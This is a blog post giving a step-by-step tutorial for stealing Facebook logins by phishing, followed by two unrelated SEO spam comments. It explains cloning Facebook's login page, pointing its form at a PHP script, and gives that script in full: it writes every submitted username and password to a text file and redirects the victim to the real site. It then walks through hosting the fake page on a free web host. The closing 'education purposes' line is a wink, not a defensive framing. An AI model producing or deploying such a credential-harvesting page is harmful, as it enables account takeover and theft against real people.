Monday 17 February 2014

How to hack FACEBOOK account by PHISHING – STEP BY STEP!

How to hack FACEBOOK account by PHISHING – STEP BY STEP!


Hello everyone  today I decided to write about hacking Facebook accounts by phishing. Generally, phishing is stealing usernames and passwords using a fake page. Suppose, you want to hack a victim’s Facebook account, so you create a page which looks very similar to facebook and host it somewhere so that your victim can login. When the victim tries to log into his account, he is redirected to the given page and his credentials are sent to you through an email or simply get recorded in some text file.
okey now we are going to create fake Facebook page using HTML and PHP coding
Step 1: Go to http://www.facebook.com and right-click on the home page and select view page source.
facebook
Copy the complete source code and paste it in notepad or some other text editor (I use Notepad++) for further editing.
Step 2: Find for something which looks like this :
original_action
Step 3: Then change the action URL to login.php, now it will look similar to this.
action_url
Save it as index.html.
Step 4: Open a notepad and paste the following code inside it and save aslogin.php.
<?php
header (‘Location: http://www.facebook.com&#8217;);
$handle = fopen(“passwords.txt”, “a”);
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?>
Here, the victim will be redirected to http://www.facebook.com. You can change it to your desired location by editing the arguments of header function in the above PHP code.
Step 5: Create another blank text file for storing the hacked usernames and passwords and name it as passwords.txt.
Now you are done with the setup of phishing page, all you need to do is host it somewhere on internet so that it becomes available to your victim.
Step 6: Go to some free hosting site like http://www.000webhost.com and sign up for free. You will be provided with 1.5GB free space to host your web pages and free domain. You will have to complete email confirmation step to get your web page running.
Step 7: Once you get your account activated, sign in and click Go to CPanelas shown below.
cpanel
Step 8: Then click on File Manager
file_manager
Step 9: Now you will see a folder public html in the web based ftp clientpage, click on the folder and open it.
public_html
Step 10: Click on Upload and select all the 3 files and finally click on the green tick to upload them as shown in the image below.
upload
Once you get your files uploaded you can check your page at your registered domain.
The victim’s password will be automatically written into passwords.txt file, just open the file to see the username and password!
Congratulations you are done creating your phishing page! If you have understood everything perfectly then you can use this technique to create phishing pages for other sites also.
This Tutorial only for Education purposes :P Do it your own risk.. :D :P
if you have any question regarding this feel free to ask me by comment!!!!!

2 comments:

  1. Anonymous14/2/19

    It is just the process of making specific search phrases,
    that are relevant to your website visible high up in the search engine rankings.
    They would try to make your site famous through social networking
    sites like my space, Facebook, Twitter, Digo, Digg, Delicious, etc as a part of their SEO services London. This means that all of the content that your users can see,
    including buttons, menus and clickable links will be index-able.

    ReplyDelete
  2. Anonymous4/3/19

    So sites with excellent quality content become valuable
    to search engines. They would try to make your site famous through social networking sites like my space, Facebook, Twitter, Digo,
    Digg, Delicious, etc as a part of their SEO services London. Whether you promote yourself as a
    solo or business brand (< learn 10 ways to improve your SEO with Google+) Google+ is now a necessity.

    ReplyDelete